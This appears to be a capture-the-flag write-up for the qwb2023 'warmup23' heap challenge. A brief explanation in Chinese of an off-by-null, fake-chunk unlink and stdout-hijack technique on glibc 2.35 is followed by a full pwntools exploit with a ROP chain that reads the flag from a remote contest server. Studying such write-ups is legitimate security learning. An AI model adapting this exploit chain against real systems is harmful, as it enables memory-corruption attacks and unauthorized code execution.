0%

qwb2023_warmup23

菜单题,add功能有一个off by null,glibc为2.35

Glibc 2.25 会检查P->fd->bk == P && P->bk->fd == P && size == prev_size,可以将large bin申请回来后,利用原来残留在fd_nextsize,bk_nextsize的指针来作为fakechunk的fd和bk,那么只需要在fd_nextsize对应堆块的bk位置低字节覆盖指向P,同理bk_nextsize对应堆块的fd位置低字节覆盖指向P,由于add时会添加’\0’,因此覆盖最少为2字节,这会导致指针的第2字节固定为0,那么就需要构造堆风水使得fakechunk的地址以X0YY结尾,由于ASLR的原因,X可以出现为0的时候,成功率为1/16。
伪造好chunk以后,利用off by null修改下一个堆块的prev_in_use,然后释放后unlink构造overlap chunk,最后先申请到_IO_2_1_stdout_劫持,泄漏environ拿到栈地址,然后申请到栈上写ROP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#coding:utf8
from pwn import *

libc = ELF('./libc.so.6')


def add(size,content):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
sh.sendafter('Note:',content)

def show(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def delete(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def exp():
add(0x7d50,b'padding') #0
add(0x450,b'\x00'*0x450) #1
add(0x30,b'b'*0x30) #2
add(0x30,b'c'*0x30) #3
add(0x30,b'd'*0x30) #4
add(0x4f0,'e'*0x4f0) #5
add(0x440,b'f'*0x440) #6
add(0x30,b'g'*0x30) #7
add(0x460,b'h'*0x460) #8
add(0x30,b'i'*0x30) #9


delete(1)
delete(6)
delete(8)

add(0x500,'get large bin') #1

#fake size
add(0x450,p64(0) + p64(0x451+0x40*3)[0:6]) #6

add(0x460,p8(0x20)) #8 fake bk->fd = P

add(0x440,b'c'*0x440) #10
add(0x440,b'helper') #11
add(0x30,'gap') #12
delete(10)
delete(11)
add(0x440,b'c'*0x8 + p8(0x20)) #10 fake fd->bk = P

delete(4)
#null off by one
add(0x38,b'd'*0x30 + p64(0x450 + 0x40*3)) #4

#0x40 tcache
delete(9)
delete(3)

#overlap chunk
delete(5)

add(0x440,'helper') #3
add(0x440,'a'*0x440) #5
show(2)
sh.recvuntil('Note: ')
libc_base = u64(sh.recv(6).ljust(8,b'\x00')) - 0x219ce0
_IO_2_1_stdout_addr = libc_base + libc.sym['_IO_2_1_stdout_']
environ_addr = libc_base + libc.sym['environ']
print('libc_base=',hex(libc_base))
print('_IO_2_1_stdout_addr=',hex(_IO_2_1_stdout_addr))
print('environ_addr=',hex(environ_addr))

add(0x50,b'c'*0x50) #9
delete(9)
show(2)
sh.recvuntil('Note: ')
xor_key = u64(sh.recvuntil(b'\n',drop = True).ljust(8,b'\x00'))
print('xor_key=',hex(xor_key))

add(0x200,'c'*0x200) #9
add(0x200,'d'*0x200) #11

#delete(11)

add(0x50,b'f'*0x30 + p64(0) + p64(0x41) + p64(_IO_2_1_stdout_addr ^ xor_key)) #13
#hijack _IO_2_1_stdout_ to leak stack_addr
add(0x30,b'1'*0x10 + p64(0) + p64(0x211) + b'l'*0x10) #14
add(0x30,p64(0x0FBAD1887) + p64(0)*3 + p64(environ_addr) + p64(environ_addr+0x8)[0:6]) #15
sh.recv(1)
stack_addr = u64(sh.recvuntil(b'Success~',drop = True).ljust(8,b'\x00'))
rop_addr = stack_addr - 0x140 - 8
print('rop_addr=',hex(rop_addr))

delete(11)
delete(9)
delete(14)
add(0x30,b'c'*0x10 + p64(0) + p64(0x211) + p64(rop_addr ^ xor_key)) #9

add(0x200,'a'*0x200)

pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdx = libc_base + 0x00000000000796a2
pop_rax = libc_base + 0x0000000000045eb0
syscall = libc_base + 0x42759
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

flag_addr = rop_addr + 0xb0
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x50) + p64(write_addr)
rop += b'./flag\x00'
input()
add(0x200,b'b'*0x8 +rop)



while True:
try:
#sh = process('./warmup',env = {'LD_PRELOAD':'./libc.so.6'})
context.log_level = 'debug'
sh = remote('120.24.69.11',12700)
exp()
#sh.recvuntil(b'>>')
sh.interactive()
except:
sh.close()
pass

sh.interactive()